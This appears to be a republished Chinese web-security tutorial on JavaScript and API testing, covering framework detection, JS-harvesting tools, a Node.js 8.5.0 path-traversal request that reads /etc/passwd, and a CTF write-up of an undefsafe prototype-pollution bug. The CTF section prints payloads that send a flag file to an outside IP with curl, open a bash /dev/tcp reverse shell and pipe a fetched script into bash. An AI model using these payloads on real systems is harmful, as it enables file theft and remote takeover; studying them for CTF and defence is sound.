API安全JS接口&框架安全&脚本扫描&审计&利用

Posted 遗憾zzz

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了API安全JS接口&框架安全&脚本扫描&审计&利用相关的知识,希望对你有一定的参考价值。

一、JS-原理-判断-获取-变量传参函数

1、什么是JS渗透测试

javascript中也存在变量和函数,当存在可控变量及函数调用即可参数漏洞

比如这里给变量str变量赋予值,如果是可控参数就可以被攻击这利用,构造恶意payload调用参数漏洞

2、流行的Js框架有那些

js框架即Javascript框架,是指以Javascript语言为基础搭建的编程框架,有了这些框架就更利于开发者去开发应用,简便了对代码的编写以及灵活的运用

React.js: 是一个开源的前端 JavaScript 库(并非一个成熟的框架),由 Jordan Walke 领导的 Facebook 开发团队于 2011 年创建,并于 2013 年 6 月开源。它的原型名为“FaxJS”,在 Facebook 消息来源(News Feed)上进行了首次测试。

Vue.js: 是一种轻量级、开源的 JavaScript 框架,用最小的努力来构建创造性的用户界面和高性能单页 Web 应用。

Angular.js: 它是谷歌开源、基于脚本的框架,用于创建单页 Web 应用的客户端。Angular 是由谷歌工程师 Misko Hevery 和 Adam Abrons 在 2010 年创建的,名为 AngularJS(或 Angular 1)。AngularJS 曾广为人知,也曾最受欢迎,但 React 的出现暴露了它严重的缺陷,后来被人们遗忘了。

Emberjs.js: Ember 最初是一个 SproutCore 2.0 框架,被 Yehuda Katz 重新命名为 Ember.js,他是一名资深开发者,被认为是 jQuery 的主要创造者之一。Ember 最流行、最基本的功能就是 Ember 命令行界面,其自身功能非常强大,是一个强大的生产力工具。

node.js 是一个事件驱动I/O服务端JavaScript环境,基于Google的V8引擎,V8引擎执行Javascript的速度非常快,性能非常好。

3、如何判定JS开发应用
(1)插件wappalyzer
Wappalyzer插件,是一款开发必备的网站技术嗅探工具,能够用来检测和分析当前网站的各种参数,比如平台架构、编程语言、网站环境、服务器配置、javascript框架等。
地址:https://www.wappalyzer.com/

(2)在开发者模式下查看源代码审计
一般有/static/js/app.js 等顺序的js文件、cookie中有connect.sid

4、如何获取更多的JS文件

(1)JsFinder
JSFinder是一款用作快速在网站的js文件中提取URL,子域名的工具。

命令 python JSFinder.py -u http://www.baidu.com


地址:https://github.com/Threezh1/JSFinder

(2)Packer-Fuzzer
Packer-Fuzzer一款针对Webpack等前端打包工具所构造的网站进行快速、高效安全检测的扫描工具
地址:https://github.com/rtcatc/Packer-Fuzzer

命令:python PackerFuzzer.py -u http://xxx.com/ -t adv -r html


扫描完毕后会生成一个报告文档

扫描器后缀替换字典
打开扫描器,用扫描器去打开一个包含js字典的文本去进行扫描探测

5、如何快速获取价值代码

	method:"get"
	http.get("
	method:"post"
	http.post("
	$.ajax
	service.httppost
	service.httpget

二、单纯框架-Vulhub-Node.js漏洞

原因是 Node.js 8.5.0 对目录进行normalize操作时出现了逻辑错误,导致向上层跳跃的时候(如../../../../../../etc/passwd),在中间位置增加foo/../(如../../../foo/../../../../etc/passwd),即可使normalize返回/etc/passwd,但实际上正确结果应该是../../../../../../etc/passwd。

express这类web框架,通常会提供了静态文件服务器的功能,这些功能依赖于normalize函数。比如,express在判断path是否超出静态目录范围时,就用到了normalize函数,上述BUG导致normalize函数返回错误结果导致绕过了检查,造成任意文件读取漏洞。

搭建好环境如下:


可以通过插件判断为node.js

发送如下数据包,即可读取passwd:

GET /static/../../../a/../../../../etc/passwd HTTP/1.1
Host: your-ip:3000
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

三、 开发-CTF赛题-JS安全测试

[网鼎杯 2020 青龙组]notes
一道原型链污染的题: https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940
undefsafe函数在2.03版本下会产生漏洞



这里给了附件所以要代码审计了app.js, 重点在status路由下,exec导致了任意代码执行,只需要我们污染command字典。通过command字典来执行我们的命令

app.route('/status')
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);
            });
        }
        res.send('OK');
        res.end();
    })

代码大致意思就是可以执行系统命令,并在前端输出, 所以可以通过操控commands字典来执行我们的命令,例如令commads.a=ls
看传参 /edit_note下可以传三个参数,id author enote

app.route('/edit_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to edit a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        let author = req.body.author;
        let enote = req.body.raw;
        if (id && author && enote) {
            notes.edit_note(id, author, enote);
            res.render('mess', {message: "edit note sucess"});
        } else {
            res.render('mess', {message: "edit note failed"});
        }
    })

传入后会直接写入当前的note_list

class Notes {
    constructor() {
        this.owner = "whoknows";
        this.num = 0;
        this.note_list = {};
    }

    write_note(author, raw_note) {
        this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
    }

    get_note(id) {
        var r = {}
        undefsafe(r, id, undefsafe(this.note_list, id));
        return r;
    }

    edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

接收用户传参,并使用,可以利用这点进行命令执行
这里用的vps 监听端口9999, 构造payload如下

id=__proto__.bb&author=curl -F 'flag=@/flag' 1.13.16.48:9999&raw=a

在/edit_note界面post传入payload,成功污染原型链

最后在服务器网站文件夹下上传反弹shell,文件名shell.txt,然后访问/status页面触发RCE

bash -i >& /dev/tcp/1.13.16.48/9999 0>&1




补充:payload还有第二种构造方式,出自Y1ng师傅

id=__proto__.abc&author=curl%20http://174.1.62.169/shell.txt|bash&raw=a

四、开发-WEB应用-未授权-文件上传

未授权,前期通过F12找到敏感目录,然后直接访问
发现Jeecg-Boot 后台服务API接口文档 未授权访问

文件上传,参考学习F12sec团队-十二少的全程分析js渗透之前台getshell

文章地址:https://www.colcool.com/archives/76/

以上是关于API安全JS接口&框架安全&脚本扫描&审计&利用的主要内容,如果未能解决你的问题,请参考以下文章

API接口安全方案

Java集合框架 Map接口实现类--HashMap的介绍及使用 & HashMap存储过程

API接口自动化测试框架搭建(二十三)-框架主入口main.py设计&测试报告调用和生成

同源策略 & 跨域

API接口自动化测试框架搭建(二十五)-框架主入口main.py设计&sendmail邮件服务调用和生成

web安全业务逻辑找回机制安全&接口安全